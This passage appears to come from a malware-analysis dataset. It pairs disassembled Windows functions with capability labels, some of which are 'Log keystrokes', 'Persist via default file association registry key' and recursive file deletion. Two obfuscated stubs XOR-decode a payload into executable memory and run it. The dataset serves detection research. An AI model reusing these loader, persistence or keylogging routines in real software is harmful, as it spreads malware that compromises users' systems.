joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100374a0
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
call dword [sym.imp.kernel32.dll_GetCurrentProcessId]
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov esi, eax
test esi, esi
jne 0x100374cb
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
mov eax, dword [ebp - 8]
push eax
mov eax, esi
call fcn.1003ebc0
add esp, 4
mov dword [ebp - 4], eax
test eax, eax
je 0x100374f9
push eax
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
jne 0x100374f2
mov eax, esi
mov dword [ebp - 4], eax
jmp 0x100374f5
mov eax, dword [ebp - 4]
test eax, eax
jne 0x1003750b
lea ecx, [ebp - 8]
push ecx
push 0x10037470
call dword [sym.imp.USER32.dll_EnumWindows]
mov eax, dword [ebp - 4]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10037510
Capabilities:
Get graphical window text
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
mov eax, dword [0x10083a30]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.1003ebc0
mov dword [ebp - 0x188], eax
test eax, eax
je 0x1003768b
push ebx
push esi
push edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
test esi, esi
je 0x10037565
mov edi, dword [sym.imp.USER32.dll_GetWindow]
mov ebx, dword [sym.imp.USER32.dll_GetParent]
push 4
push esi
call edi
test eax, eax
jne 0x10037561
push esi
call ebx
test eax, eax
je 0x10037565
mov esi, eax
jmp 0x10037551
push 0x100
lea eax, [ebp - 0x184]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x1003767b
push 0x80
lea ecx, [ebp - 0x84]
push ecx
push esi
call dword [sym.imp.USER32.dll_GetClassNameA]
test eax, eax
je 0x1003767b
lea edx, [ebp - 0x184]
push edx
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
cmp eax, esi
jne 0x1003767b
test esi, esi
je 0x1003767b
push 0xfffffffffffffffc
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov edi, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0
push esi
mov ebx, eax
call edi
mov ecx, dword [ebp - 0x188]
push 0
push ecx
mov esi, eax
call edi
mov edi, eax
test ebx, ebx
je 0x1003767b
cmp edi, esi
je 0x1003767b
mov ebx, dword [sym.imp.USER32.dll_AttachThreadInput]
push 1
push esi
push edi
call ebx
test eax, eax
je 0x10037628
mov edx, dword [ebp - 0x188]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0
push esi
push edi
call ebx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10054c72
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.USER32.dll_SystemParametersInfoA]
push 0
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2000
call esi
push 2
lea ecx, [ebp - 0x190]
push ecx
push 0
push 0x2001
mov dword [ebp - 0x190], 0
call esi
mov edx, dword [ebp - 0x188]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 2
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2001
call esi
mov ecx, dword [ebp - 0x188]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10054c72
mov esp, ebp
pop ebp
ret
Function at 0x10037780
Capabilities:
Resume thread

Disassembly:
cmp dword [ecx + 0xc], 0
jne 0x10037790
mov eax, dword [ecx + 4]
push eax
call dword [sym.imp.kernel32.dll_ResumeThread]
ret

Function at 0x100377b0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005b5b3
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x10083a30]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
xor edi, edi
mov dword [ebp - 4], edi
mov dword [esi], vtable.ScCore::Thread.0
mov dword [esi + 0xc], edi
mov byte [esi + 0x10], 1
call fcn.1003ebc0
mov ebx, eax
lea eax, [ebp - 0x10]
push eax
push 4
push esi
push sym.ScCore.dll_private:_static_unsigned_int___stdcall_ScCore::Thread::go_void__
push edi
push edi
mov dword [ebp - 0x18], edx
call dword [sym.imp.msvcr100.dll__beginthreadex]
add esp, 0x18
mov dword [esi + 4], eax
cmp eax, 0xffffffff
jne 0x10037839
mov dword [esi + 0xc], 0x20
mov dword [esi + 8], edi
mov dword [esi + 4], edi
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x10]
mov dword [esi + 8], ecx
mov eax, dword [0x10083aa8]
cmp eax, edi
jne 0x1003784d
call sym.ScCore.dll_public:_static_class_ScCore::Context____cdecl_ScCore::Context::get_void_
mov edx, dword [ebp - 0x18]
mov dword [eax + 0x52], ebx
mov dword [eax + 0x56], edx
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10037b30
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov eax, dword [0x10083674]
cmp eax, 0xffffffff
je 0x10037b80
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov esi, eax
test esi, esi
je 0x10037b71
cmp esi, dword [0x10083be8]
jne 0x10037b5a
mov dword [0x10083be8], 0
mov ecx, esi
call fcn.10020480
mov ecx, esi
call fcn.1003ebc0
push esi
call sub.msvcr100.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, dword [0x10083674]
push 0
push eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
pop esi
ret

Function at 0x10037b90
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov eax, dword [0x10083be8]
test eax, eax
jne 0x10037bfa
mov eax, dword [0x10083674]
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
test eax, eax
jne 0x10037bfa
push esi
push 0x16c
call sub.msvcr100.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
test eax, eax
je 0x10037bc6
mov ecx, eax
call fcn.1003ebc0
mov esi, eax
jmp 0x10037bc8
xor esi, esi
cmp byte [0x10083be4], 0
jne 0x10037be2
mov ecx, esi
mov dword [0x10083be8], esi
call fcn.10020740
mov eax, esi
pop esi
ret
mov ecx, dword [0x10083674]
push esi
push ecx
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov ecx, esi
call fcn.10020740
mov eax, esi
pop esi
ret
Function at 0x1003ebc0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x1003ebcf
pop dword [ebp - 0x50]
mov eax, 0x1003ebcf
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x3bcc997d
add dword [ebp - 0x60], 0x1285abce
mov dword [ebp - 0x5c], 0xbb8f6c07
sub dword [ebp - 0x5c], 0x895c1fc2
mov dword [ebp - 0x58], 0x53b6a9ad
sub dword [ebp - 0x58], 0x76a657f
mov dword [ebp - 0x54], 0x6ea9db01
add dword [ebp - 0x54], 0x915624ff
lea eax, [ebp - 0x60]
push eax
mov eax, 0xf152605d
add eax, 0x1eb370ab
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x11737bfd
sub dword [ebp - 0x60], 0x9d0112a7
mov dword [ebp - 0x5c], 0x95d977a7
add dword [ebp - 0x5c], 0xab92e9ce
mov dword [ebp - 0x58], 0x4c17989a
sub dword [ebp - 0x58], 0xe8a82c2e
mov dword [ebp - 0x54], 0x5f277f1a
add dword [ebp - 0x54], 0xa0d880e6
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0xcced9627
sub eax, 0xbce7c527
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x510d5
push 0
call eax
mov ecx, 0xf7ad94a7
add ecx, 0x852b86a
mov edx, eax
mov ebx, 0x316c421d
sub ebx, 0x2163341d
add ebx, dword [ebp - 0x50]
mov esi, 0xd4bd80c6
sub esi, 0x3656b8fe
add dword [ebp - 0x24], edi
mov edi, dword [ebx]
xor dword [ebp - 0x24], esi
add edi, esi
xor dword [ebp - 0x14], ebx
mov dword [edx], edi
xor dword [ebp - 0x2c], ecx
add edx, 4
add ebx, 4
loop 0x1003ecec
add eax, 0x12717
xor ebx, ebx
add ebx, eax
add eax, 0xd5fc06bf
sub eax, 0xd5fc06ba
mov ecx, 0x4efdc967
add ecx, 0xc1023699
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x100437a0
Capabilities:
Encode data using xor

Disassembly:
movzx ecx, word [edx]
xor eax, eax
test cx, cx
je 0x100437c6
lea ebx, [ebx]
imul eax, eax, 0xf4243
movzx ecx, cx
add edx, 2
xor eax, ecx
movzx ecx, word [edx]
test cx, cx
jne 0x100437b0
ret

Function at 0x10054c72
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10083a30]
jne 0x10054c7c
repz ret
jmp fcn.100553b9
Function at 0x402ca5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x402cb4
pop dword [ebp - 0x34]
mov eax, 0x402cb4
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xb6f39375
add dword [ebp - 0x44], 0x975eb1d6
mov dword [ebp - 0x40], 0xd0ebfc9d
sub dword [ebp - 0x40], 0x9eb8b058
mov dword [ebp - 0x3c], 0xaba99118
sub dword [ebp - 0x3c], 0x5f5d4cea
mov dword [ebp - 0x38], 0x62cbcd49
add dword [ebp - 0x38], 0x9d3432b7
lea eax, [ebp - 0x44]
push eax
mov eax, 0x451ad8ee
add eax, 0xbb259856
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x529e6efd
add dword [ebp - 0x44], 0x21d3fa59
mov dword [ebp - 0x40], 0x4a454941
sub dword [ebp - 0x40], 0x8d8e7cc
mov dword [ebp - 0x3c], 0x95904841
sub dword [ebp - 0x3c], 0x3220dbd5
mov dword [ebp - 0x38], 0xbfa6d2af
sub dword [ebp - 0x38], 0xbfa6d2af
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0x94902f8f
add eax, 0x6bb04181
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x37b5f
push 0
call eax
mov ecx, 0x80d56ff1
add ecx, 0x7f2adb03
mov ebx, eax
mov esi, 0x436000
add esi, dword [ebp - 0x34]
mov edi, 0x3637fad
sub dword [ebp - 4], 0xdb9f87b7
mov edx, dword [esi]
sub dword [ebp - 0x18], ecx
xor edx, edi
xor dword [ebp - 0x10], 0xc48d38f
mov dword [ebx], edx
mov dword [ebp - 0x18], 0xa7bd9290
add ebx, 4
add esi, 4
loop 0x402dc5
add eax, 0x11ea3
mov ebx, eax
add eax, 5
mov ecx, 0x245107ac
add ecx, 0xdbeef854
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x403307
Capabilities:
Persist via default file association registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x32c
push ebx
push esi
push edi
push 0x417188
push dword [ebp + 8]
call fcn.0040dc0e
pop ecx
mov dword [ebp + 8], eax
test eax, eax
pop ecx
je 0x403540
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueA]
mov ebx, 0x80000000
push 0x41a910
push 0
call fcn.0040dc0e
push 0x417218
mov dword [ebp - 0xc], eax
push dword [ebp + 8]
call fcn.0040dc0e
push 0x417218
push 0
mov dword [ebp - 4], eax
call fcn.0040dc0e
push 0x417218
push 0
mov dword [ebp + 8], eax
call fcn.0040dc0e
mov dword [ebp - 8], eax
xor eax, eax
add esp, 0x20
cmp dword [ebp - 4], eax
je 0x403548
cmp dword [ebp + 8], eax
je 0x403548
cmp dword [ebp - 8], eax
je 0x403548
push 0x41a910
push eax
call fcn.0040dc0e
pop ecx
test eax, eax
pop ecx
jne 0x403548
mov eax, dword [ebp - 4]
push eax
cmp byte [eax], 0x2e
jne 0x4033dd
lea eax, [ebp - 0x21c]
push eax
call fcn.0040d6c0
mov eax, dword [ebp - 4]
inc eax
push eax
lea eax, [ebp - 0x118]
push str._sFile
push eax
call esi
add esp, 0x14
jmp 0x4033ff
lea eax, [ebp - 0x21c]
push 0x41720c
push eax
call esi
push dword [ebp - 4]
lea eax, [ebp - 0x118]
push str._sFile
push eax
call esi
add esp, 0x18
movsx eax, byte [ebp - 0x118]
push eax
call fcn.0040dcb2
mov byte [ebp - 0x118], al
lea eax, [ebp - 0x118]
push eax
call fcn.0040d570
pop ecx
pop ecx
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x21c]
push 1
push eax
push ebx
call edi
push dword [ebp - 8]
call fcn.0040d570
pop ecx
push eax
lea eax, [ebp - 0x118]
push dword [ebp - 8]
push 1
push eax
push ebx
call edi
mov eax, dword [ebp + 8]
cmp byte [eax], 0x22
jne 0x403483
push eax
call fcn.0040d570
pop ecx
mov ecx, dword [ebp + 8]
cmp byte [eax + ecx - 1], 0x22
lea eax, [eax + ecx - 1]
mov dword [ebp - 4], eax
je 0x403476
dec eax
cmp byte [eax], 0x22
jne 0x40346d
mov dword [ebp - 4], eax
cmp eax, dword [ebp + 8]
jbe 0x403483
and byte [eax], 0
inc dword [ebp + 8]
jmp 0x403487
and dword [ebp - 4], 0
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x21c]
push str._sDefaultIcon
push eax
call esi
push dword [ebp + 8]
lea eax, [ebp - 0x32c]
push str._s_0
push eax
call esi
lea eax, [ebp - 0x32c]
push eax
call fcn.0040d570
add esp, 0x1c
push eax
lea eax, [ebp - 0x32c]
push eax
lea eax, [ebp - 0x21c]
push 1
push eax
push ebx
call edi
mov eax, dword [ebp - 4]
test eax, eax
je 0x4034dd
dec dword [ebp + 8]
mov byte [eax], 0x22
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x21c]
push str._s_shellopencommand
push eax
call esi
push dword [ebp + 8]
lea eax, [ebp - 0x32c]
push str._s____1_
push eax
call esi
lea eax, [ebp - 0x32c]
push eax
call fcn.0040d570
add esp, 0x1c
push eax
lea eax, [ebp - 0x32c]
push eax
lea eax, [ebp - 0x21c]
push 1
push eax
push ebx
call edi
push 0x417188
push dword [ebp - 0xc]
call fcn.0040dc0e
pop ecx
mov dword [ebp + 8], eax
test eax, eax
pop ecx
jne 0x40333e
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
xor eax, eax
jmp 0x403543
Function at 0x403732
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x118
push ebx
push ebp
push esi
mov esi, dword [esp + 0x128]
lea eax, [esp + 0x24]
push edi
push eax
push dword [esi + 8]
push 0x148
push dword [esi + 0x14]
call dword [sym.imp.USER32.dll_SendMessageA]
push dword [0x41a928]
mov ebx, dword [sym.imp.GDI32.dll_SelectObject]
push dword [esi + 0x18]
call ebx
test byte [esi + 0x10], 1
mov dword [esp + 0x20], eax
je 0x40378b
mov edi, dword [sym.imp.USER32.dll_GetSysColor]
push 0xd
call edi
push eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov ebp, eax
push 0xe
jmp 0x4037a0
mov edi, dword [sym.imp.USER32.dll_GetSysColor]
push 5
call edi
push eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov ebp, eax
push 8
call edi
lea edi, [esi + 0x1c]
push ebp
push edi
mov dword [esp + 0x1c], eax
push dword [esi + 0x18]
call dword [sym.imp.USER32.dll_FillRect]
push ebp
call dword [sym.imp.GDI32.dll_DeleteObject]
mov edi, dword [edi]
push dword [esi + 0x18]
neg edi
sbb edi, edi
and edi, 2
add edi, 3
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
mov ebp, eax
push dword [esi + 8]
push 0x150
push dword [esi + 0x14]
call dword [sym.imp.USER32.dll_SendMessageA]
push 0
mov dword [esp + 0x1c], eax
push dword [esi + 0x18]
call dword [sym.imp.GDI32.dll_SetTextColor]
push 0xffffff
mov dword [esp + 0x20], eax
push dword [esi + 0x18]
call dword [sym.imp.GDI32.dll_SetBkColor]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x18]
shr eax, 0x10
push eax
push ebp
call ebx
push 0x8800c6
mov dword [esp + 0x14], eax
mov eax, dword [esi + 0x20]
push 0
push 0
push ebp
push 0xd
inc eax
push 0x10
push eax
push edi
push dword [esi + 0x18]
call dword [sym.imp.GDI32.dll_BitBlt]
movzx eax, word [esp + 0x18]
push eax
push ebp
call ebx
mov eax, dword [esi + 0x20]
push 0xee0086
push 0
push 0
push ebp
push 0xd
inc eax
push 0x10
push eax
push edi
push dword [esi + 0x18]
call dword [sym.imp.GDI32.dll_BitBlt]
push dword [esp + 0x10]
push ebp
call ebx
push ebp
call dword [sym.imp.GDI32.dll_DeleteDC]
push dword [esp + 0x14]
push dword [esi + 0x18]
call dword [sym.imp.GDI32.dll_SetTextColor]
mov ebp, dword [sym.imp.GDI32.dll_SetBkMode]
push 1
push dword [esi + 0x18]
call ebp
mov dword [esp + 0x10], eax
lea eax, [esp + 0x28]
push eax
call fcn.0040d570
pop ecx
add edi, 0x16
push eax
lea eax, [esp + 0x2c]
push eax
push dword [esi + 0x20]
push edi
push dword [esi + 0x18]
call dword [sym.imp.GDI32.dll_TextOutA]
push dword [esp + 0x1c]
push dword [esi + 0x18]
call dword [sym.imp.GDI32.dll_SetTextColor]
push dword [esp + 0x24]
push dword [esi + 0x18]
call dword [sym.imp.GDI32.dll_SetBkColor]
push dword [esp + 0x10]
push dword [esi + 0x18]
call ebp
push dword [esp + 0x20]
push dword [esi + 0x18]
call ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x118
ret
Function at 0x403cb8
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
push ebx
push esi
push edi
xor edi, edi
push 0x7f02
push edi
call dword [sym.imp.USER32.dll_LoadCursorA]
push eax
call dword [sym.imp.USER32.dll_SetCursor]
mov esi, dword [sym.imp.USER32.dll_SendMessageA]
push edi
push edi
push 0x184
push dword [ebp + 8]
mov dword [ebp - 8], eax
call esi
push dword [ebp + 0xc]
lea eax, [ebp - 0x118]
push eax
call fcn.0040d6c0
lea eax, [ebp - 0x118]
push 0x417254
push eax
call fcn.0040d6d0
add esp, 0x10
push edi
mov edi, dword [sym.imp.USER32.dll_GetParent]
push 6
push dword [ebp + 8]
call edi
push eax
call dword [sym.imp.USER32.dll_SetWindowWord]
mov ebx, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea eax, [ebp - 0x258]
push eax
lea eax, [ebp - 0x118]
push eax
call ebx
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x403dae
push 6
push dword [ebp + 8]
call edi
push eax
call dword [sym.imp.USER32.dll_GetWindowWord]
cmp ax, 4
ja 0x403e2f
push dword [ebp + 0xc]
call fcn.00404e0f
test eax, eax
pop ecx
jne 0x403da4
push dword [ebp + 0xc]
lea eax, [ebp - 0x118]
push eax
call fcn.0040d6c0
lea eax, [ebp - 0x118]
push 0x417254
push eax
call fcn.0040d6d0
add esp, 0x10
lea eax, [ebp - 0x258]
push eax
lea eax, [ebp - 0x118]
push eax
call ebx
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x403d44
cmp dword [ebp - 4], 0xffffffff
je 0x403ea9
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetDC]
mov ebx, eax
mov eax, dword [0x434900]
mov edi, dword [eax + 0x675c]
imul edi, edi, 0xe
test byte [ebp - 0x258], 0x10
je 0x403e7c
lea eax, [ebp - 0x22b]
push eax
call fcn.00414206
dec eax
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.0040d6c0
add esp, 0xc
cmp byte [ebp - 0x118], 0x2e
jne 0x403e41
cmp byte [ebp - 0x117], 0x2e
jne 0x403e38
cmp byte [ebp - 0x116], 0
jne 0x403e41
push dword [ebp + 0xc]
call fcn.0040d570
cmp eax, 4
pop ecx
jb 0x403e7c
lea eax, [ebp - 0x118]
push 0x417250
push eax
call fcn.0040d6c0
pop ecx
pop ecx
jmp 0x403e41
mov eax, dword [ebp + 0xc]
and byte [eax + 3], 0
jmp 0x403eb7
cmp byte [ebp - 0x117], 0
je 0x403e7c
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.0040d570
pop ecx
push eax
lea eax, [ebp - 0x118]
push eax
push ebx
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32A]
cmp dword [ebp - 0x10], edi
jle 0x403e69
mov edi, dword [ebp - 0x10]
lea eax, [ebp - 0x118]
push eax
push 0
push 0x180
push dword [ebp + 8]
call esi
lea eax, [ebp - 0x258]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x403dc7
push eax
push edi
push 0x195
push dword [ebp + 8]
call esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
push 0
push 0x186
push dword [ebp + 8]
call esi
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_SetCursor]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404966
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
mov esi, str.SfxCfg
lea edi, [ebp - 0xc]
movsd dword es:[edi], dword [esi]
and dword [ebp - 4], 0
xor eax, eax
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
pop edi
pop esi
xor byte [ebp + eax - 0xc], 0xc9
inc eax
cmp eax, 6
jl 0x404982
lea eax, [ebp - 4]
push eax
push 0x28000
push 0x6000
lea eax, [ebp - 0xc]
push 6
push eax
lea eax, [ebp + 8]
push eax
call fcn.004099d4
add esp, 0x18
cmp eax, 0xffffffff
je 0x4049c6
add eax, 6
push 0
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll__llseek]
push 1
pop eax
leave
ret
xor eax, eax
leave
ret

Function at 0x404ff1
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor ebx, ebx
push edi
lea eax, [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
push eax
lea eax, [ebp - 8]
push 2
push eax
mov dword [ebp - 4], ebx
push dword [ebp + 8]
call edi
test eax, eax
je 0x4050d4
cmp dword [ebp - 4], 2
jne 0x4050d4
mov edx, dword [ebp - 8]
mov esi, dword [ebp + 0x14]
mov eax, edx
mov cx, word [esi]
shl eax, 0xb
shr dx, 5
or eax, edx
xor eax, ecx
cmp ax, word [ebp + 0x10]
mov dword [ebp - 8], eax
ja 0x4050d4
mov dx, cx
add ecx, ecx
movzx eax, ax
shr dx, 0xf
or edx, ecx
inc eax
mov word [esi], dx
lea ecx, [ebp - 4]
cdq
sub eax, edx
push ebx
sar eax, 1
shl eax, 1
push ecx
push eax
push dword [ebp + 0xc]
mov dword [ebp - 4], ebx
push dword [ebp + 8]
call edi
test eax, eax
je 0x4050d4
movzx eax, word [ebp - 8]
inc eax
cdq
sub eax, edx
sar eax, 1
lea ecx, [eax + eax]
cmp dword [ebp - 4], ecx
jne 0x4050d4
mov edi, dword [ebp + 0xc]
test eax, eax
jle 0x4050c4
mov dx, word [edi]
mov cx, dx
shr cx, 7
shl edx, 9
or ecx, edx
mov word [edi], cx
xor cx, word [esi]
mov word [edi], cx
mov cx, word [esi]
mov dx, cx
shr dx, 0xe
shl ecx, 2
or edx, ecx
inc ebx
movzx ecx, bx
inc edi
mov word [esi], dx
inc edi
cmp ecx, eax
jl 0x405090
movzx eax, word [ebp - 8]
mov ecx, dword [ebp + 0xc]
push 1
and byte [eax + ecx], 0
pop eax
jmp 0x4050d6
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4050db
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
and dword [ebp - 4], 0
push 0
push eax
lea eax, [ebp + 8]
push 2
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40512b
cmp dword [ebp - 4], 2
jne 0x40512b
mov edx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
mov eax, edx
shl eax, 0xb
mov cx, word [esi]
shr dx, 5
or eax, edx
mov dx, cx
xor eax, ecx
shr dx, 0xd
shl ecx, 3
or edx, ecx
mov word [esi], dx
pop esi
leave
ret
xor ax, ax
leave
ret
Function at 0x405130
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
push esi
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x208]
push eax
call fcn.0040d6c0
lea eax, [ebp - 0x208]
push eax
call fcn.00404f21
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x104]
push 0x4173b4
push eax
call esi
add esp, 0x18
lea eax, [ebp - 0x348]
push eax
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x405235
test byte [ebp - 0x348], 0x10
je 0x4051e4
cmp byte [ebp - 0x31c], 0x2e
jne 0x4051b7
cmp byte [ebp - 0x31b], 0
je 0x405210
cmp byte [ebp - 0x31b], 0x2e
je 0x405210
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x104]
push str._s_s_
push eax
call esi
lea eax, [ebp - 0x104]
push eax
call fcn.00405130
add esp, 0x14
jmp 0x405210
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x104]
push str._s_s
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x348]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40518a
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
or edi, 0xffffffff
jmp 0x40518a
lea eax, [ebp - 0x208]
push eax
call fcn.00404ef6
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.0040d6c0
lea eax, [ebp - 0x104]
push eax
call fcn.00404e0f
add esp, 0x10
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
pop edi
pop esi
leave
ret

Function at 0x4052d3
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push str._ProgramFiles_
mov dword [ebp - 4], edi
call fcn.0040e3c6
mov esi, dword [ebp + 0xc]
xor ebx, ebx
cmp eax, ebx
pop ecx
mov byte [esi], bl
je 0x405303
push edi
push eax
push esi
call fcn.0040db10
add esp, 0xc
jmp 0x40534c
lea eax, [ebp + 8]
mov dword [ebp + 8], ebx
push eax
push 0x20019
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersion
push 0x80000002
mov dword [ebp + 0xc], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40534c
lea eax, [ebp - 4]
push eax
lea eax, [ebp + 0xc]
push esi
push eax
push ebx
push str.ProgramFilesDir
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [esi], bl
jne 0x405365
push esi
call fcn.0040529a
mov dword [esp], str.Program_Files
push esi
call fcn.0040d6d0
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret